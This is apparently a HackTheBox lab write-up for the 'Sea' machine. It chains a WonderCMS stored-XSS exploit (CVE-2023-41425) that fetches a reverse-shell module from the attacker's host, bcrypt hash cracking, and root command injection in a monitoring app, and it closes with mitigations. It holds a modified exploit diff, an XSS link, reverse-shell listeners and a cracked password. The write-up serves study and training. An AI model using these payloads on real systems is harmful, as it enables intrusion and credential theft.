Post

HackTheBox - Sea

HackTheBox - Sea

TL;DR

Sea is an engaging HackTheBox machine that showcases how chaining multiple vulnerabilities - from XSS to command injection - can lead to full system compromise. The path involves exploiting CVE-2023-41425 in WonderCMS for initial access, cracking a password hash for user access, and leveraging a command injection vulnerability in a monitoring application for root access.

Initial Enumeration

Starting with a basic nmap scan to identify available services:

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -oA nmap/sea -v sea.htb
Nmap scan report for sea.htb (10.129.188.201)
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Directory enumeration revealed several interesting endpoints:

1
2
3
4
5
6
7
8
9
10
❯ feroxbuster -u http://sea.htb/ -w ~/htb/code/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

301      GET        7l       20w      228c http://sea.htb/data => http://sea.htb/data/
301      GET        7l       20w      231c http://sea.htb/plugins => http://sea.htb/plugins/
301      GET        7l       20w      230c http://sea.htb/themes => http://sea.htb/themes/
301      GET        7l       20w      232c http://sea.htb/messages => http://sea.htb/messages/
301      GET        7l       20w      234c http://sea.htb/data/files => http://sea.htb/data/files/
301      GET        7l       20w      235c http://sea.htb/themes/bike => http://sea.htb/themes/bike/
200      GET        1l        1w        6c http://sea.htb/themes/bike/version
200      GET        1l        9w       66c http://sea.htb/themes/bike/summary

Web Application Analysis

Further investigation of the /themes/bike/ endpoints identified the application as WonderCMS version 3.2.0:

1
2
3
4
5
❯ curl http://sea.htb/themes/bike/summary
Animated bike theme, providing more interaction to your visitors.

❯ curl http://sea.htb/themes/bike/version
3.2.0

I simply searched the string from the summary and found the github-page.

Research revealed this version is vulnerable to CVE-2023-41425, a stored XSS vulnerability that can be leveraged for remote code execution. This vulnerability is an instance of CWE-79: Improper Neutralization of Input During Web Page Generation.

Initial Foothold

I modified the publicly available exploit to target the vulnerable instance:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ diff ~/htb/labs/sea/51805.py ./51805.py
13,15c13,18
<
< var urlWithoutLogBase = "http://sea.htb"
<
---
> var url = "'''+str(sys.argv[1])+'''";
> if (url.endsWith("/")) {
>  url = url.slice(0, -1);
> }
> var urlWithoutLog = url.split("/").slice(0, -1).join("/");
> var urlWithoutLogBase = new URL(urlWithoutLog).pathname;
17c20
< var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.87:8000/main.zip&directoryName=violet&type=themes&token=" + token;
---
> var urlRev = urlWithoutLogBase+"/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=" + token;

Executing the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ python3 ./51805.py http://sea.htb/loginURL 10.10.14.87 4444
[+] xss.js is created
[+] execute the below command in another terminal

----------------------------
nc -lvp 4444
----------------------------

send the below link to admin:

----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.87:8000/xss.js"></script><form+action="
----------------------------


starting HTTP server to allow the access to xss.js
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

contact-form

After submitting the form, the admin clicks our link and the XSS payload was retrieved from our machine:

1
2
3
4
❯ python3 ./51805.py http://sea.htb/loginURL 10.10.14.87 4444
[...]
::ffff:10.129.188.201 - - [14/Dec/2024 22:24:29] "GET /xss.js HTTP/1.1" 200 -
::ffff:10.129.188.201 - - [14/Dec/2024 22:24:29] "GET /main.zip HTTP/1.1" 200 -

Successfully obtaining a shell:

1
2
3
4
5
6
7
8
9
10
11
❯ ncat -l 10.10.14.87 -nvp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on 10.10.14.87:4444
Ncat: Connection from 10.129.188.201:47558.
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 04:24:30 up  8:10,  0 users,  load average: 0.79, 0.85, 0.67
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Privilege Escalation to User

First thing, we need to get a prettier shell:

1
2
3
4
5
which python3
/usr/bin/python3

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@sea:/$

We can see what other users exist on the machine:

1
2
3
www-data@sea:/var/www/sea/data$ ls /home
ls /home
amay  geo

During enumeration, I discovered a database.js file containing credentials:

1
2
3
4
5
6
7
www-data@sea:/var/www/sea/data$ cat database.js
{
    "config": {
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        ...
    }
}

Using hashcat to crack the bcrypt hash:

1
2
3
4
❯ hashcat -m 3200 -a 0 bcrypt_hash.txt ~/htb/code/rockyou.txt
hashcat (v6.2.6) starting

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

The cracked password provided SSH access as user “amay”:

1
2
3
4
5
❯ ssh amay@sea.htb
amay@sea:~$ whoami
amay
amay@sea:~$ cat user.txt
---snip---8a8c8d78cd737

Privilege Escalation to Root

Local port scanning revealed interesting internal services:

1
2
3
4
5
amay@sea:~$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:58935         0.0.0.0:*               LISTEN      -

Going to localhost:8282 which I forwarded to the target’s 8080, I get a basic http auth prompt: basic-auth

I try amay and mychemicalromance again and it works: system-monitor

The monitoring system analyzes the access.log and the auth.log and looks to identify our previous malicious behavior, neat.

Here’s the access.log: access-log

Here’s the auth.log: auth-log

Through analysis with Burp, I discovered the monitoring application accepted a log_file parameter that could be used to read sensitive files:

shadow-file

Direct attempts to read root.txt failed:

root-flag-attempt

However, by adding command injection to trigger the monitoring system so the contents would be displayed to the page, I was able to access root.txt:

contact-form

We have the root flag, but let’s finish with the root shell as well. We can first test our command injection by creating a file named jcs on the target machine in the /tmp/ directory: command-injection-test

We send that with Burp’s repeater and check the /tmp/ directory for our file:

1
2
3
4
5
amay@sea:~$ ls -lah /tmp/
total 56K
drwxrwxrwt 14 root root 4.0K Dec 22 02:09 .
drwxr-xr-x 19 root root 4.0K Feb 21  2024 ..
-rw-r--r--  1 root root    0 Dec 22 02:02 jcs

We know command injection works and we again verify the monitoring system is running as root because the file was created with root permissions. Now we can replace the touch command with a reverse shell: command-injection-rev-shell

Start our listener:

1
2
3
❯ rev
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on 10.10.14.149:4444

Send the above request with repeater, and our listener gets a connection:

1
2
3
4
5
6
root@sea:~/monitoring# whoami
whoami
root
root@sea:~/monitoring# cat /root/root.txt
cat /root/root.txt
--snip--f64716b9

This vulnerability represents an instance of CWE-78: OS Command Injection.

Key Vulnerabilities & Mitigation

  1. Stored XSS (CVE-2023-41425)
    • Keep CMS systems updated
    • Implement proper input validation and sanitization
    • Regular security assessments
  2. Weak Password Storage
    • Use strong password hashing algorithms
    • Implement proper salting
    • Regular password rotation policies
  3. Command Injection
    • Use parameterized commands
    • Implement proper input validation
    • Follow principle of least privilege
    • Restrict access to internal services

Lessons Learned

This machine demonstrates how seemingly minor vulnerabilities like XSS can be chained together to achieve full system compromise. It emphasizes the importance of:

  • Regular security updates
  • Proper input validation
  • Secure coding practices
  • Access control implementation
  • Security monitoring and logging

References

This post is licensed under CC BY 4.0 by the author.